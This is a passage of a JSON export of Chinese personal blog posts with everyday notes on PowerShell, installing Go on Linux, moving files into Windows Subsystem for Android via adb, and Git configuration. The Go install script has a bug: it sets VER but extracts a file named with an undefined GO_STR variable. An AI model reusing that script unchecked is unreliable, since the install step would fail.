href=\"https://juejin.cn/post/7042486792011907086\"\u003e查看本文,教你配置frp为service\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"PowerShell学习笔记","time":"2022-06-05T12:31:58Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"文件批量改后缀\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E6%89%B9%E9%87%8F%E6%94%B9%E5%90%8E%E7%BC%80\" class=\"headerlink\" title=\"文件批量改后缀\"\u003e\u003c/a\u003e文件批量改后缀\u003c/h2\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e * | \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e { \u003cspan class=\"built_in\"\u003eRename-Item\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e \u003cspan class=\"literal\"\u003e-NewName\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.BaseName+”.mp4”) }\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"解除端口占用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%99%A4%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8\" class=\"headerlink\" title=\"解除端口占用\"\u003e\u003c/a\u003e解除端口占用\u003c/h2\u003e\u003cp\u003e首先找到占用端口的进程,然后终止进程:\u003c/p\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat \u003cspan class=\"literal\"\u003e-nao\u003c/span\u003e | findstr \u003cspan class=\"string\"\u003e\u0026#34;5554\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 假设5554端口被占用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etaskkill \u003cspan class=\"literal\"\u003e-pid\u003c/span\u003e \u003cspan class=\"number\"\u003e5076\u003c/span\u003e \u003cspan class=\"operator\"\u003e-f\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 结束占用进程\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"查找文件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"查找文件\"\u003e\u003c/a\u003e查找文件\u003c/h2\u003e\u003cp\u003e如果不指定\u003ccode\u003ePath\u003c/code\u003e则默认查找当前目录。查找支持正则表达式。\u003c/p\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eGet-ChildItem\u003c/span\u003e \u003cspan class=\"literal\"\u003e-Path\u003c/span\u003e C:\\Users\\JohnDoe \u003cspan class=\"literal\"\u003e-Filter\u003c/span\u003e *.txt \u003cspan class=\"literal\"\u003e-Recurse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"批量git-push\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%89%B9%E9%87%8Fgit-push\" class=\"headerlink\" title=\"批量git push\"\u003e\u003c/a\u003e批量git push\u003c/h2\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eGet-ChildItem\u003c/span\u003e \u003cspan class=\"literal\"\u003e-Directory\u003c/span\u003e | \u003cspan class=\"built_in\"\u003eForEach-Object\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$gitDir\u003c/span\u003e = \u003cspan class=\"built_in\"\u003eJoin-Path\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.FullName \u003cspan class=\"string\"\u003e\u0026#34;.git\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eTest-Path\u003c/span\u003e \u003cspan class=\"variable\"\u003e$gitDir\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eSet-Location\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.FullName\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e git push\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Go学习笔记","time":"2022-05-06T10:46:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e访问\u003ca href=\"https://go.dev/\"\u003e这里\u003c/a\u003e ,下载安装包进行安装即可。或者访问\u003ca href=\"https://studygolang.com/dl/\"\u003e这里\u003c/a\u003e下载也可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置\u003ccode\u003ego mod proxy\u003c/code\u003e,参考\u003ca href=\"https://goproxy.cn/\"\u003ehttps://goproxy.cn\u003c/a\u003e即可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e安装VSCode+Go插件或者Goland等开发工具都可以。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003chr/\u003e\u003cp\u003e最近得在Linux上编译个服务端程序,所以把配置方法记录一下。\u003c/p\u003e\u003cp\u003e源用的是USTC的。看了他们官网发现东西还真不少\u003cdel\u003e比隔壁tuna多多了而且域名还短(确信)\u003c/del\u003e。golang直接下载太慢所以走镜像站。链接在这,时效性应该不用太担心。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mirrors.ustc.edu.cn/golang/go1.20.1.linux-amd64.tar.gz\"\u003ehttps://mirrors.ustc.edu.cn/golang/go1.20.1.linux-amd64.tar.gz\u003c/a\u003e\u003c/p\u003e\u003cp\u003e步骤很简单,就是\u003ccode\u003ewget\u003c/code\u003e然后\u003ccode\u003etar\u003c/code\u003e解压到指定位置最后把目录加到系统环境变量里边:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eVER=\u003cspan class=\"string\"\u003e\u0026#34;1.20.1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSH=\u003cspan class=\"string\"\u003e\u0026#34;bash\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 下载解压 \u0026amp; 移除旧版本\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget https://mirrors.ustc.edu.cn/golang/go\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$VER\u003c/span\u003e\u0026#34;\u003c/span\u003e.linux-amd64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf /usr/local/go \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; tar -C /usr/local -zxf go\u003cspan class=\"variable\"\u003e$GO_STR\u003c/span\u003e.linux-amd64.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 如果是第一次安装且使用bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;export PATH=\u003cspan class=\"variable\"\u003e$PATH\u003c/span\u003e:/usr/local/go/bin\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt; ~/.\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$SH\u003c/span\u003e\u0026#34;\u003c/span\u003erc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意:\u003cstrong\u003e执行上面的脚本之前请先自行验证安全性\u003c/strong\u003e。以及,上面的脚本得用root权限执行。\u003c/p\u003e\u003cp\u003e然后就是设置代理。我用\u003ca href=\"http://goproxy.cn/\"\u003ehttp://goproxy.cn\u003c/a\u003e比较多。配置也很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GO111MODULE=on\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GOPROXY=https://goproxy.cn\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"资料\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"资料\"\u003e\u003c/a\u003e资料\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://books.studygolang.com/gopl-zh\"\u003e《Go语言圣经》\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"常见问题\"\u003e\u003c/a\u003e常见问题\u003c/h2\u003e\u003cul\u003e\u003cli\u003eGo test报错\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e报错内容:\u003ccode\u003ecall has possible formatting directive %v\u003c/code\u003e\u003c/p\u003e\u003cp\u003e原因:\u003ccode\u003ego test\u003c/code\u003e 中不能使用 \u003ccode\u003efmt.Println(\u0026#34;%v\u0026#34;, v)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"方案\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"方案\"\u003e\u003c/a\u003e方案\u003c/h2\u003e\u003cp\u003e使用 \u003ccode\u003efmt.Printf(\u0026#34;%+v\u0026#34;, v)\u003c/code\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"WSA文件管理","time":"2022-05-01T16:54:29Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"ADB传输文件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/#ADB%E4%BC%A0%E8%BE%93%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"ADB传输文件\"\u003e\u003c/a\u003eADB传输文件\u003c/h2\u003e\u003cp\u003e在电脑装Phigros的时候(别问,问就是闲的)发现obb是分离的,于是尝试用ADB直接push到\u003ccode\u003eAndroid/data/com.PigeonGames.Phigros/\u003c/code\u003e目录下,报错,提示权限不足。后来传到\u003ccode\u003e/sdcard/\u003c/code\u003e下再移动进去才成功了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 连接到wsa\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb connect 127.0.0.1:58526\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 传文件到wsa\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb push D:\\download\\main.43.com.PigeonGames.Phigros.obb /storage/emulated/0/Android/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb shell\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 创建目标目录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /storage/emulated/0/Android/obb/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e com.PigeonGames.Phigros\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 将文件移到目标位置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emv\u003c/span\u003e ../main.43.com.PigeonGames.Phigros.obb ./com.PigeonGames.Phigros\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e到此完成。\u003c/p\u003e\u003ch2 id=\"给WSA安装程序\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/#%E7%BB%99WSA%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"给WSA安装程序\"\u003e\u003c/a\u003e给WSA安装程序\u003c/h2\u003e\u003cp\u003e记下你的安装包的路径,打开终端,按照上面的步骤连接设备后,输入:\u003c/p\u003e\u003cfigure class=\"highlight cmd\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eadb install /\u003cspan class=\"built_in\"\u003epath\u003c/span\u003e/to/app.apk\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后等待安装完成即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/"},{"title":"Git学习笔记","time":"2022-04-22T15:18:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo apt install git -y \u003cspan class=\"comment\"\u003e# ubuntu, etc.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo pacman -S git \u003cspan class=\"comment\"\u003e# arch linux\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWindows从官网下载exe安装,一路下一步即可。\u003c/p\u003e\u003ch2 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h2\u003e\u003cp\u003eGit的配置文件有两种,全局配置文件,和相对于单个仓库而言的局部配置文件。前者应用于该系统中所有仓库,而后者应用于某个仓库。二者存在冲突项时,以后者优先级为更高。\u003c/p\u003e\u003cp\u003e全局配置文件存在于Linux的\u003ccode\u003e~/.gitconfig\u003c/code\u003e,或者是Windows的用户目录下的\u003ccode\u003e.gitconfig\u003c/code\u003e。修改的配置都会储存在这个文件中。而局部配置文件存在于仓库的\u003ccode\u003e.git/config\u003c/code\u003e中,使用\u003ccode\u003egit config\u003c/code\u003e编辑,一般不推荐直接编辑。\u003c/p\u003e\u003cp\u003e在Linux中,输入\u003ccode\u003egit config\u003c/code\u003e后就可以用Tab补全来看到所有可选的选项了。此时修改的,是局部配置;加上\u003ccode\u003e--global\u003c/code\u003e参数后,修改的就是全局配置。\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置用户名和邮箱\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e配置第一步,先设置用户名和邮箱。这是创建提交的重要凭据,相当于你给作品的签名。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global user.name \u003cspan class=\"string\"\u003e\u0026#34;your name\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --global user.email \u003cspan class=\"string\"\u003e\u0026#34;your email\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e修改默认编辑器\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e惯用Vim,感觉默认的Nano用不习惯,所以果断换回Vim:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global core.editor vim\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evim ~/.gitconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 修改为如下内容\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[core]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e editor=vim\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e禁用Fast-Forward\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于这是什么和为什么禁用的问题请看后文。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global merge.ff \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"入门\"\u003e\u003ca 